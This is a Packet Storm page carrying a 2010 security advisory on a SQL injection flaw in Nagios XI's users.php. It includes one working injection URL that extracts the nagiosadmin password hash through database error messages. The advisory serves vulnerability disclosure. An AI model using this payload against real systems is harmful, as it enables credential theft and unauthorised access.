what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Nagios XI users.php SQL Injection

Nagios XI users.php SQL Injection
Posted Aug 26, 2010
Authored by Adam Baldwin

Nagios XI suffers from a remote SQL injection vulnerability in users.php.

tags | exploit, remote, php, sql injection
SHA-256 | d8d2f7e65ebe2221b126cfd1ff208afff750e76c28afe69103b749f4529db049

Nagios XI users.php SQL Injection

Change Mirror Download
 Nagios XI users.php SQL Injection

Advisory Information
Advisory ID: NGENUITY-2010-008
Date published: 8/24/2010

Vulnerability Information
Class: SQL Injection (SQLi)

Software Description
Nagios XI is the commercial / enterprise version of the open source
Nagios project.

Vulnerability Description
Nagios XI prior to version 2009R1.3 is vulnerable to SQL Injection. It
is possible for specially designed queries to extract data via the
database error messages. Authentication and access to users.php is
required. It is possible to also use this SQL injection has a remote XSS
vector as the error message is not properly sanitized.


Technical Description
The records variable on the users.php command is not properly sanitized
and allows for injection of SQL commands. Stacked queries are also
allowed into the postgres database.

http://example.com/nagiosxi/admin/users.php?records=int8((select >
password from xi_users where username= >
CHR(110)||CHR(97)||CHR(103)||CHR(105)||CHR(111)||CHR(115)||CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)))&sortby=username&sortorder=asc&search=&page=1

The password hash of the nagiosadmin user would be displayed in the
error message as a result of this query.


Credits
This vulnerability was discovered by Adam Baldwin

Original Advisory:
http://ngenuity-is.com/advisories/2010/aug/24/nagios-xi-usersphp-sql-injection/
Login or Register to add favorites

File Archive:

September 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    2 Files
  • 2
    Sep 2nd
    21 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    17 Files
  • 5
    Sep 5th
    34 Files
  • 6
    Sep 6th
    29 Files
  • 7
    Sep 7th
    11 Files
  • 8
    Sep 8th
    25 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    26 Files
  • 12
    Sep 12th
    23 Files
  • 13
    Sep 13th
    17 Files
  • 14
    Sep 14th
    22 Files
  • 15
    Sep 15th
    16 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    19 Files
  • 19
    Sep 19th
    60 Files
  • 20
    Sep 20th
    23 Files
  • 21
    Sep 21st
    15 Files
  • 22
    Sep 22nd
    8 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    17 Files
  • 26
    Sep 26th
    3 Files
  • 27
    Sep 27th
    13 Files
  • 28
    Sep 28th
    5 Files
  • 29
    Sep 29th
    12 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close